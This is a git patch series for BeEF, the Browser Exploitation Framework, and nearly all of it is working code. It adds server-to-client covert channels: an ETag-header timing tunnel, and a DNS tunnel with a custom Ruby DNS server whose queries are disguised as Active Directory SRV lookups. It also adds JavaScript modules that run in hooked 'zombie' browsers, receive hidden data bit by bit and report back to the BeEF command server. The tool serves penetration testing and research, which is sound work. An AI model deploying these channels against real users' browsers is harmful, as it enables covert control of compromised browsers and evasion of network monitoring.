From debd3bc2c9f19647df7aa819347a9340cd4d33eb Mon Sep 17 00:00:00 2001 From: dnkolegov Date: Thu, 6 Nov 2014 03:28:48 -0500 Subject: [PATCH 1/4] Added DNS and ETag covert channels --- extensions/etag/api.rb | 28 +++++ extensions/etag/config.yaml | 11 ++ extensions/etag/etag.rb | 63 ++++++++++ extensions/etag/extension.rb | 23 ++++ extensions/s2c_dns_tunnel/api.rb | 56 +++++++++ extensions/s2c_dns_tunnel/config.yaml | 16 +++ extensions/s2c_dns_tunnel/dnsd.rb | 118 +++++++++++++++++++ extensions/s2c_dns_tunnel/extension.rb | 22 ++++ extensions/s2c_dns_tunnel/httpd.rb | 24 ++++ extensions/s2c_dns_tunnel/pixel.jpg | Bin 0 -> 309 bytes modules/debug/test_get_variable/command.js | 20 ++++ modules/debug/test_get_variable/config.yaml | 15 +++ modules/debug/test_get_variable/module.rb | 12 ++ modules/ipec/etag_client/command.js | 86 ++++++++++++++ modules/ipec/etag_client/config.yaml | 15 +++ modules/ipec/etag_client/module.rb | 39 +++++++ modules/ipec/s2c_dns_tunnel/command.js | 123 ++++++++++++++++++++ modules/ipec/s2c_dns_tunnel/config.yaml | 15 +++ modules/ipec/s2c_dns_tunnel/module.rb | 53 +++++++++ 19 files changed, 739 insertions(+) create mode 100644 extensions/etag/api.rb create mode 100644 extensions/etag/config.yaml create mode 100644 extensions/etag/etag.rb create mode 100644 extensions/etag/extension.rb create mode 100644 extensions/s2c_dns_tunnel/api.rb create mode 100644 extensions/s2c_dns_tunnel/config.yaml create mode 100644 extensions/s2c_dns_tunnel/dnsd.rb create mode 100644 extensions/s2c_dns_tunnel/extension.rb create mode 100644 extensions/s2c_dns_tunnel/httpd.rb create mode 100644 extensions/s2c_dns_tunnel/pixel.jpg create mode 100644 modules/debug/test_get_variable/command.js create mode 100644 modules/debug/test_get_variable/config.yaml create mode 100644 modules/debug/test_get_variable/module.rb create mode 100644 modules/ipec/etag_client/command.js create mode 100644 modules/ipec/etag_client/config.yaml create mode 100644 modules/ipec/etag_client/module.rb create mode 100644 modules/ipec/s2c_dns_tunnel/command.js create mode 100644 modules/ipec/s2c_dns_tunnel/config.yaml create mode 100644 modules/ipec/s2c_dns_tunnel/module.rb diff --git a/extensions/etag/api.rb b/extensions/etag/api.rb new file mode 100644 index 000000000..d5a1fc61e --- /dev/null +++ b/extensions/etag/api.rb @@ -0,0 +1,28 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF +module Extension +module ETag +module API + + module ETagHandler + BeEF::API::Registrar.instance.register( + BeEF::Extension::ETag::API::ETagHandler, + BeEF::API::Server, + 'mount_handler' + ) + + def self.mount_handler(beef_server) + beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!) + print_info "ETag Server: /etag" + end + + end + +end +end +end +end diff --git a/extensions/etag/config.yaml b/extensions/etag/config.yaml new file mode 100644 index 000000000..cd4d749fb --- /dev/null +++ b/extensions/etag/config.yaml @@ -0,0 +1,11 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + extension: + etag: + enable: false + name: 'Server-to-Client Etag Tunnel' + authors: ["ovbroslavsky","neoleksov"] diff --git a/extensions/etag/etag.rb b/extensions/etag/etag.rb new file mode 100644 index 000000000..007f724e1 --- /dev/null +++ b/extensions/etag/etag.rb @@ -0,0 +1,63 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF +module Extension +module ETag + + require 'sinatra/base' + require 'singleton' + + class ETagMessages + include Singleton + attr_accessor :messages + + def initialize() + @messages={} + end + end + + class ETagWebServer < Sinatra::Base + def create_ET_header + inode = File.stat(__FILE__).ino + size = 3 + mtime = (Time.now.to_f * 1000000).to_i + return "#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L" + end + + get '/:id/start' do + data = ETagMessages.instance.messages[params[:id].to_i] + + $etag_server_state = {} unless defined?($etag_server_state) + $etag_server_state[params[:id]] = {} + $etag_server_state[params[:id]][:cur_bit] = -1 + $etag_server_state[params[:id]][:last_header] = create_ET_header + $etag_server_state[params[:id]][:message] = data + + headers "ETag" => $etag_server_state[params[:id]][:last_header] + body "Message start" + end + + get '/:id' do + return "Not started yet" if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil? + if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1 + $etag_server_state[params[:id]][:cur_bit] += 1 + else + $etag_server_state.delete(params[:id]) + status 404 + return "Bing" + end + + if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1' + $etag_server_state[params[:id]][:last_header] = create_ET_header + end + + headers "ETag" => $etag_server_state[params[:id]][:last_header] + body "Bit" + end + end +end +end +end diff --git a/extensions/etag/extension.rb b/extensions/etag/extension.rb new file mode 100644 index 000000000..c4be39e66 --- /dev/null +++ b/extensions/etag/extension.rb @@ -0,0 +1,23 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF +module Extension +module ETag + + extend BeEF::API::Extension + + @short_name = 'ETag' + @full_name = 'Server-to-Client ETag-based Covert Timing Channel' + @description = 'This extension provides a custom BeEF\'s HTTP server ' + + 'that implement unidirectional covert timing channel from ' + + 'BeEF communication server to zombie browser over Etag header' + +end +end +end + +require 'extensions/etag/api.rb' +require 'extensions/etag/etag.rb' diff --git a/extensions/s2c_dns_tunnel/api.rb b/extensions/s2c_dns_tunnel/api.rb new file mode 100644 index 000000000..b66010431 --- /dev/null +++ b/extensions/s2c_dns_tunnel/api.rb @@ -0,0 +1,56 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Extension + module ServerClientDnsTunnel + module API + + module ServerClientDnsTunnelHandler + + BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler, + BeEF::API::Server, 'pre_http_start' ) + BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler, + BeEF::API::Server, 'mount_handler' ) + + # Starts the S2C DNS Tunnel server at BeEF startup. + # @param http_hook_server [BeEF::Core::Server] HTTP server instance + def self.pre_http_start(http_hook_server) + + configuration = BeEF::Core::Configuration.instance + zone = configuration.get('beef.extension.s2c_dns_tunnel.zone') + raise ArgumentError,'zone name is undefined' unless zone.to_s != "" + + # if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen + listen = configuration.get('beef.extension.s2c_dns_tunnel.listen') + Socket.ip_address_list.map {|x| listen = x.ip_address if x.ipv4?} if listen.to_s.empty? + + port = 53 + protocol = :udp + interfaces = [[protocol, listen, port]] + dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance + dns.run(:listen => interfaces, :zone => zone) + + print_info "Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})" + info = '' + info += "Zone: " + zone + "\n" + print_more info + + end + + # Mounts the handler for processing HTTP image requests. + # @param beef_server [BeEF::Core::Server] HTTP server instance + def self.mount_handler(beef_server) + configuration = BeEF::Core::Configuration.instance + zone = configuration.get('beef.extension.s2c_dns_tunnel.zone') + beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone)) + end + + end + + end + end + end +end diff --git a/extensions/s2c_dns_tunnel/config.yaml b/extensions/s2c_dns_tunnel/config.yaml new file mode 100644 index 000000000..284c57674 --- /dev/null +++ b/extensions/s2c_dns_tunnel/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + extension: + s2c_dns_tunnel: + enable: false + name: 'Server-to-Client DNS Tunnel' + authors: ['dnkolegov','afr1ka'] + # Define which network interface DNS server should listen. IP-address of this interface will be used in DNS answers. + # By default, DNS server will be started on the interface which has a highest IP-address and will listen UDP 53 port only. + # listen: '' + # Zone managed by DNS server. DNS server will not be started if zone is not specified + zone: '' \ No newline at end of file diff --git a/extensions/s2c_dns_tunnel/dnsd.rb b/extensions/s2c_dns_tunnel/dnsd.rb new file mode 100644 index 000000000..7521846d1 --- /dev/null +++ b/extensions/s2c_dns_tunnel/dnsd.rb @@ -0,0 +1,118 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Extension + module ServerClientDnsTunnel + + class RubyDNS::Transaction + + def fail!(rcode,domain) + append_question! + + if rcode.kind_of? Symbol + @answer.rcode = Resolv::DNS::RCode.const_get(rcode) + else + @answer.rcode = rcode.to_i + end + + if rcode == :NXDomain + @answer.aa = 1 + soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns." + domain), + Resolv::DNS::Name.create("hostmaster." + domain), + Time.now.strftime("%Y%m%d%H").to_i,86400,7200,3600000,172800 + ) + @answer.add_authority(name,3600,soa) + end + end + end + + class Server < RubyDNS::Server + + include Singleton + + attr_accessor :messages + + def initialize() + super() + @lock = Mutex.new + end + + # Starts the custom DNS server. + # + # @param options [Hash] server configuration options + # @option options [Array] :zone - zone manged by BeEF DNS server for data exfiltration + # @option options [Array] :listen - local interfaces to listen on + def run(options = {}) + @lock.synchronize do + Thread.new do + EventMachine.next_tick do + listen = options[:listen] || nil + super(:listen => listen) + + @selfip = options[:listen][0][1] + @zone = options[:zone] + @messages = {} + + end + end + end + end + + # Entry point for processing incoming DNS requests. + # + # @param name [String] name of the resource record being looked up + # @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.) + # @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer + def process(name,resource,transaction) + @lock.synchronize do + print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})" + if format_resource(resource) != 'A' or not name.match(/#{@zone}$/) + transaction.fail!(:Refused,@zone) + return + end + + # Parce query name in accordance with Active Directory SRV resource records + cid = name.split('.')[2].split('-')[2].to_i + bit = name.split('.')[2].split('-')[3].to_i(16) + + if @messages[cid] != nil + message = @messages[cid] + else + transaction.fail!(:NXDomain,@zone) + return + end + + if message.length <= bit + transaction.fail!(:NXDomain,@zone) + return + end + + # If the bit is equal to 1 we should return one of the BeEF's IP addresses + if message[bit] == '1' + transaction.respond!(@selfip) + return + # If the bit is equal to 0 we should return NXDomain message + elsif message[bit] == '0' + transaction.fail!(:NXDomain,@zone) + return + end + end + end + + private + + # Helper method that formats the given resource class in a human-readable format. + # + # @param resource [Resolv::DNS::Resource::IN] resource class + # @return [String] resource name stripped of any module/class names + def format_resource(resource) + /::(\w+)$/.match(resource.name)[1] + end + + end + end + end +end diff --git a/extensions/s2c_dns_tunnel/extension.rb b/extensions/s2c_dns_tunnel/extension.rb new file mode 100644 index 000000000..24d36e0e4 --- /dev/null +++ b/extensions/s2c_dns_tunnel/extension.rb @@ -0,0 +1,22 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Extension + module ServerClientDnsTunnel + + extend BeEF::API::Extension + @short_name = 'S2C DNS Tunnel' + @full_name = 'Server-to-Client DNS Tunnel' + @description = 'This extension provides a custom BeEF\'s DNS server and HTTP server ' + + 'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.' + + end + end +end + +require 'extensions/s2c_dns_tunnel/dnsd' +require 'extensions/s2c_dns_tunnel/api' +require 'extensions/s2c_dns_tunnel/httpd' diff --git a/extensions/s2c_dns_tunnel/httpd.rb b/extensions/s2c_dns_tunnel/httpd.rb new file mode 100644 index 000000000..c014ed8c8 --- /dev/null +++ b/extensions/s2c_dns_tunnel/httpd.rb @@ -0,0 +1,24 @@ +module BeEF + module Extension + module ServerClientDnsTunnel + + class Httpd < Sinatra::Base + + def initialize(domain) + super() + @domain = domain + end + + get "/map" do + if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$") + path = File.dirname(__FILE__) + send_file File.join(path, 'pixel.jpg') + end + end + end + + end + end +end + +require 'sinatra/base' diff --git a/extensions/s2c_dns_tunnel/pixel.jpg b/extensions/s2c_dns_tunnel/pixel.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d6a93ec2fa61069e94ea04713c171d7f5463695a GIT binary patch literal 309 zcmex=Hq-)3+IsiFvg457#X zkmmmf7z8;O7#SFu8I>5A1R0qH8UG()5Cu98=2j@p1r!z$Ko?~IiDIY)iwa_@y~V)8 S%m}oFS&+e=VSfYT|C<01^Bu?l literal 0 HcmV?d00001 diff --git a/modules/debug/test_get_variable/command.js b/modules/debug/test_get_variable/command.js new file mode 100644 index 000000000..576f3ce01 --- /dev/null +++ b/modules/debug/test_get_variable/command.js @@ -0,0 +1,20 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +/* +This JavaScript gets value of the specified variable that was set in another script via Window property. +*/ + +beef.execute(function() { + + var payload = "<%= @payload_name %>"; + var curl = "<%= @command_url %>"; + var cid = "<%= @command_id %>"; + + console.log("The current value of " + payload + " is " + Window[payload]); + beef.net.send(curl, parseInt(cid),'get_variable=true'); + +}); diff --git a/modules/debug/test_get_variable/config.yaml b/modules/debug/test_get_variable/config.yaml new file mode 100644 index 000000000..7c60481d1 --- /dev/null +++ b/modules/debug/test_get_variable/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + test_get_variable: + enable: false + category: "Debug" + name: "Test JS variable passing" + description: "Test for JS variable passing from another BeEF's script via Window object" + authors: ["dnkolegov"] + target: + working: ["All"] diff --git a/modules/debug/test_get_variable/module.rb b/modules/debug/test_get_variable/module.rb new file mode 100644 index 000000000..594302afc --- /dev/null +++ b/modules/debug/test_get_variable/module.rb @@ -0,0 +1,12 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Test_get_variable < BeEF::Core::Command + + def self.options + return [{'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'value' => 'message', 'width' => '400px'}] + end + +end diff --git a/modules/ipec/etag_client/command.js b/modules/ipec/etag_client/command.js new file mode 100644 index 000000000..38cbe216d --- /dev/null +++ b/modules/ipec/etag_client/command.js @@ -0,0 +1,86 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// +// + +beef.execute(function(){ + var start_time = 0; + var origin = ''; + var header = ''; + var message = ''; + var id = "<%= @command_id %>"; + var curl = "<%= @command_url %>"; + var payload_name = "<%= @payload_name %>"; + + function getHeader(url, mode) + { + var xhr = new XMLHttpRequest(); + xhr.open('GET', url, mode); + xhr.send(); + if (xhr.status == 404){ + throw "message_end" + } + return xhr.getResponseHeader('ETag'); + } + + function start( origin, id ) + { + start_time = (new Date()).getTime(); + header = getHeader( origin + '/etag/' + id + '/start', false); + } + + function decode( bin_message ) + { + arr = []; + for( var i = 0; i < bin_message.length; i += 8 ) { + arr.push(bin_message.substr(i, 8)); + } + var message = ""; + for( i = 0; i < arr.length; i++ ){ + message += String.fromCharCode(parseInt(arr[i],2)); + } + return message; + } + + function get_data( origin, id ) + { + var interval = setInterval( function() + { + try{ + newHeader = getHeader( origin + '/etag/' + id, false); + } + catch(e){ + // The message is terminated so finish + clearInterval(interval); + final_message=decode( message ); + + delta = ((new Date()).getTime() - start_time)/1000; + bits_per_second = "" + message.length/delta; + + //Save the message in the Window + if (window.hasOwnProperty(payload_name)) + window[payload_name] = final_message + else + Object.defineProperty(window,payload_name, { value: final_message, + writable: true, + enumerable: false }); + beef.net.send(curl, parseInt(id),'etag_tunnel=true' + '&bps=' + bits_per_second); + return; + } + if (newHeader!==header){ + message = message + '1'; + header = newHeader; + } else { + message = message + '0'; + } + }, 100, header, message); + } + function get_message( origin, id ) + { + setTimeout( start( origin, id ), 500 ); + setTimeout( get_data( origin, id ), 500) ; + } + get_message( origin, id ); +}); diff --git a/modules/ipec/etag_client/config.yaml b/modules/ipec/etag_client/config.yaml new file mode 100644 index 000000000..2ae96c1a7 --- /dev/null +++ b/modules/ipec/etag_client/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + etag_client: + enable: true + category: "IPEC" + name: "ETag Tunnel: Server-to-Client" + description: "This module sends data from server to client using ETag HTTP header.

A payload name and message are taken as input. The structure of ETag header isn't modified. The message is sent as a bitstream, decoded, and then can be accessed via Window object property specified in payload name parameter.

Note: To use this feature you should enable ETag extension." + authors: ["dnkolegov,ovbroslavsky,neoleksov"] + target: + working: "All" diff --git a/modules/ipec/etag_client/module.rb b/modules/ipec/etag_client/module.rb new file mode 100644 index 000000000..823bb8d73 --- /dev/null +++ b/modules/ipec/etag_client/module.rb @@ -0,0 +1,39 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Etag_client < BeEF::Core::Command + + def self.options + return [ + {'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'etagTunnelPayload'}, + {'name' => 'data', 'ui_label'=>'Message', 'type' => 'textarea', + 'value' => 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ' + + 'ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco ' + + 'laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in ' + + 'voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat '+ + 'non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', + 'width' => '400px', 'height' => '100px' + }] + end + + def pre_send + # gets the value configured in the module configuration by the user + @configuration = BeEF::Core::Configuration.instance + enable = @configuration.get("beef.extension.etag.enable"); + raise ArgumentError,'etag extension is disabled' if enable != true + @datastore.each do |input| + if input['name'] == "data" + @data = input['value'] + end + end + BeEF::Extension::ETag::ETagMessages.instance.messages.store(@command_id.to_i, @data.unpack("B*")[0]) + end + + def post_execute + # gets the value of command_id from BeEF database and delete the message from Etag webserver "database" + cid = @datastore['cid'].to_i + BeEF::Extension::ETag::ETagMessages.instance.messages.delete(cid) + end +end diff --git a/modules/ipec/s2c_dns_tunnel/command.js b/modules/ipec/s2c_dns_tunnel/command.js new file mode 100644 index 000000000..fd8b08667 --- /dev/null +++ b/modules/ipec/s2c_dns_tunnel/command.js @@ -0,0 +1,123 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +/* +This JavaScript retreives data from a server via DNS covert channel. + +A remote controlled domain with a custom DNS server implementing covert channel logic is required. +BeEF supports this feature via Server-to-Client DNS Tunnel extension. + +The initial concept of the DNS covert channell and its implementation are described in the following literature: +- K.Born. Browser-Based Covert Data Exfiltration. http://arxiv.org/ftp/arxiv/papers/1004/1004.4357.pdf +- W. Alkorn,C. Frichot, M.Orru. The Browser Hacker's Handbook. ISBN-13: 978-1118662090, ISBN-10: 1118662091 + +*/ +beef.execute(function() { + + var payload_name = "<%= @payload_name %>"; + var domain = "<%= @zone %>"; + var scheme = "<%= @scheme %>"; + var port = "<%= @port %>"; + var cid = "<%= @command_id %>"; + var curl = "<%= @command_url %>"; + + var messages = new Array(); + var bits = new Array(); + var bit_transfered = new Array(); + var timing = new Array(); + + // Do the DNS query by reqeusting an image + send_query = function(fqdn, msg, byte, bit) { + var img = new Image; + var fport = ""; + + if (port !== "80") fport = ":"+port; + + img.src = scheme+"://" + fqdn + fport + "/tiles/map"; + + img.onload = function() { // successful load so bit equals 1 + bits[msg][bit] = 1; + bit_transfered[msg][byte]++; + if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte); + } + + img.onerror = function() { // unsuccessful load so bit equals 0 + bits[msg][bit] = 0; + bit_transfered[msg][byte]++; + if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte); + } + }; + + // Construct DNS names based on Active Directory SRV resource records pattern and resolv them via send_query function + // See http://technet.microsoft.com/en-us/library/cc961719.aspx + function get_byte(msg, byte) { + bit_transfered[msg][byte] = 0; + var rnd8 = getRandomStr(8); + var rnd12 = getRandomStr(12); + // Request the byte one bit at a time + for(var bit=byte*8; bit < (byte*8)+8; bit++){ + // Set the message number (hex) + msg_str = ("" + msg.toString(16)).substr(-8); + // Set the bit number (hex) + bit_str = ("" + bit.toString(16)).substr(-8); + // Build the subdomain + subdomain = "_ldap._tcp." + rnd8 + "-" + msg_str + "-" + cid + "-" + bit_str + "-" + rnd12; + // Build the full domain + name = subdomain + '.domains._msdcs.'+ domain; + send_query(name, msg, byte, bit) + } + } + + // Construct random sring + function getRandomStr(n){ + return Math.random().toString(36).slice(2, 2 + Math.max(1, Math.min(n, 12))); + } + + // Build the environment and request the message + function get_message(msg) { + // Set variables for getting a message + messages[msg] = ""; + bits[msg] = new Array(); + bit_transfered[msg] = new Array(); + timing[msg] = (new Date()).getTime(); + get_byte(msg, 0); + } + + // Build the data returned from the binary results + function reconstruct_byte(msg, byte){ + var char = 0; + // Build the last byte requested + for(var bit=byte*8; bit < (byte*8)+8; bit++){ + char <<= 1; + char += bits[msg][bit] ; + } + + // Message is terminated with a null byte (all failed DNS requests) + if (char != 0) { + // The message isn't terminated so get the next byte + messages[msg] += String.fromCharCode(char); + get_byte(msg, byte+1); + } + else { + // The message is terminated so finish + delta = ((new Date()).getTime() - timing[msg])/1000; + bytes_per_second = "" + + ((messages[msg].length + 1) * 8)/delta; + + // Save the message in the Window + if (window.hasOwnProperty(payload_name)) + window[payload_name] = messages[msg] + else + Object.defineProperty(window,payload_name, { value: messages[msg], + writable: true, + enumerable: false }); + + beef.net.send(curl, parseInt(cid),'s2c_dns_tunnel=true' + '&bps=' + bytes_per_second); + + } + } + get_message(0); +}); diff --git a/modules/ipec/s2c_dns_tunnel/config.yaml b/modules/ipec/s2c_dns_tunnel/config.yaml new file mode 100644 index 000000000..3912b046a --- /dev/null +++ b/modules/ipec/s2c_dns_tunnel/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + s2c_dns_tunnel: + enable: true + category: "IPEC" + name: "DNS Tunnel: Server-to-Client" + description: "This module retreives data sending by server over DNS covert channel (DNS tunnel).

A payload name and message are taken as input. The message is sent as a bitstream, decoded, and then can be accessed via Window object property specified in payload name parameter.

Note: To use this feature you should enable S2C DNS Tunnel extension." + authors: ["dnkolegov"] + target: + working: "All" \ No newline at end of file diff --git a/modules/ipec/s2c_dns_tunnel/module.rb b/modules/ipec/s2c_dns_tunnel/module.rb new file mode 100644 index 000000000..03ea59c5b --- /dev/null +++ b/modules/ipec/s2c_dns_tunnel/module.rb @@ -0,0 +1,53 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class S2c_dns_tunnel < BeEF::Core::Command + + def self.options + + @configuration = BeEF::Core::Configuration.instance + zone = @configuration.get("beef.extension.s2c_dns_tunnel.zone"); + port = @configuration.get("beef.http.port"); + scheme = @configuration.get("beef.http.https.enable") == true ? "https" : "http" + + return [ + {'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'dnsTunnelPayload'}, + {'name' => 'zone', 'ui_label'=>'Zone', 'type' => 'hidden', 'width' => '400px', 'value' => zone}, + {'name' => 'port', 'ui_label'=>'Port', 'type' => 'hidden', 'width' => '400px', 'value' => port}, + {'name' => 'scheme', 'ui_label'=>'Scheme', 'type' => 'hidden', 'width' => '400px', 'value' => scheme}, + {'name' => 'data', 'ui_label'=>'Message', 'type' => 'textarea', + 'value' => 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ' + + 'ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco ' + + 'laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in ' + + 'voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat ' + + 'non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', + 'width' => '400px', 'height' => '100px'} + ] + end + + def pre_send + @configuration = BeEF::Core::Configuration.instance + enable = @configuration.get("beef.extension.s2c_dns_tunnel.enable"); + raise ArgumentError,'s2c_dns_tunnel extension is disabled' if enable != true + + # gets the value configured in the module configuration by the user + @datastore.each do |input| + if input['name'] == "data" + @data = input['value'] + end + end + + BeEF::Extension::ServerClientDnsTunnel::Server.instance.messages.store(@command_id.to_i ,@data.unpack("B*")[0]) + end + + def post_execute + + # gets the value of command_id from BeEF database and delete the message from DNS "database" + cid = @datastore['cid'].to_i + BeEF::Extension::ServerClientDnsTunnel::Server.instance.messages.delete(cid) + + end + +end From c573c5bd4645d8c088d97925db68753033f2aa1f Mon Sep 17 00:00:00 2001 From: Denis Kolegov Date: Fri, 7 Nov 2014 09:04:43 +0600 Subject: [PATCH 2/4] Update command.js --- modules/ipec/s2c_dns_tunnel/command.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/ipec/s2c_dns_tunnel/command.js b/modules/ipec/s2c_dns_tunnel/command.js index fd8b08667..c77116f8d 100644 --- a/modules/ipec/s2c_dns_tunnel/command.js +++ b/modules/ipec/s2c_dns_tunnel/command.js @@ -19,8 +19,8 @@ beef.execute(function() { var payload_name = "<%= @payload_name %>"; var domain = "<%= @zone %>"; - var scheme = "<%= @scheme %>"; - var port = "<%= @port %>"; + var scheme = beef.net.httpproto; + var port = beef.net.port; var cid = "<%= @command_id %>"; var curl = "<%= @command_url %>"; From 8cdb9f990af5aa011e21cdc30a32f21fe09f4b6e Mon Sep 17 00:00:00 2001 From: Denis Kolegov Date: Fri, 7 Nov 2014 09:06:57 +0600 Subject: [PATCH 3/4] Update module.rb --- modules/ipec/s2c_dns_tunnel/module.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/ipec/s2c_dns_tunnel/module.rb b/modules/ipec/s2c_dns_tunnel/module.rb index 03ea59c5b..c9eaf4b26 100644 --- a/modules/ipec/s2c_dns_tunnel/module.rb +++ b/modules/ipec/s2c_dns_tunnel/module.rb @@ -15,8 +15,6 @@ class S2c_dns_tunnel < BeEF::Core::Command return [ {'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'dnsTunnelPayload'}, {'name' => 'zone', 'ui_label'=>'Zone', 'type' => 'hidden', 'width' => '400px', 'value' => zone}, - {'name' => 'port', 'ui_label'=>'Port', 'type' => 'hidden', 'width' => '400px', 'value' => port}, - {'name' => 'scheme', 'ui_label'=>'Scheme', 'type' => 'hidden', 'width' => '400px', 'value' => scheme}, {'name' => 'data', 'ui_label'=>'Message', 'type' => 'textarea', 'value' => 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ' + 'ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco ' + From 75cf0a1cdf3676b5b7a3c8c286b9ef077166bd20 Mon Sep 17 00:00:00 2001 From: Denis Kolegov Date: Fri, 7 Nov 2014 09:07:44 +0600 Subject: [PATCH 4/4] Update module.rb --- modules/ipec/s2c_dns_tunnel/module.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/ipec/s2c_dns_tunnel/module.rb b/modules/ipec/s2c_dns_tunnel/module.rb index c9eaf4b26..06b6f0dec 100644 --- a/modules/ipec/s2c_dns_tunnel/module.rb +++ b/modules/ipec/s2c_dns_tunnel/module.rb @@ -9,9 +9,6 @@ class S2c_dns_tunnel < BeEF::Core::Command @configuration = BeEF::Core::Configuration.instance zone = @configuration.get("beef.extension.s2c_dns_tunnel.zone"); - port = @configuration.get("beef.http.port"); - scheme = @configuration.get("beef.http.https.enable") == true ? "https" : "http" - return [ {'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'dnsTunnelPayload'}, {'name' => 'zone', 'ui_label'=>'Zone', 'type' => 'hidden', 'width' => '400px', 'value' => zone},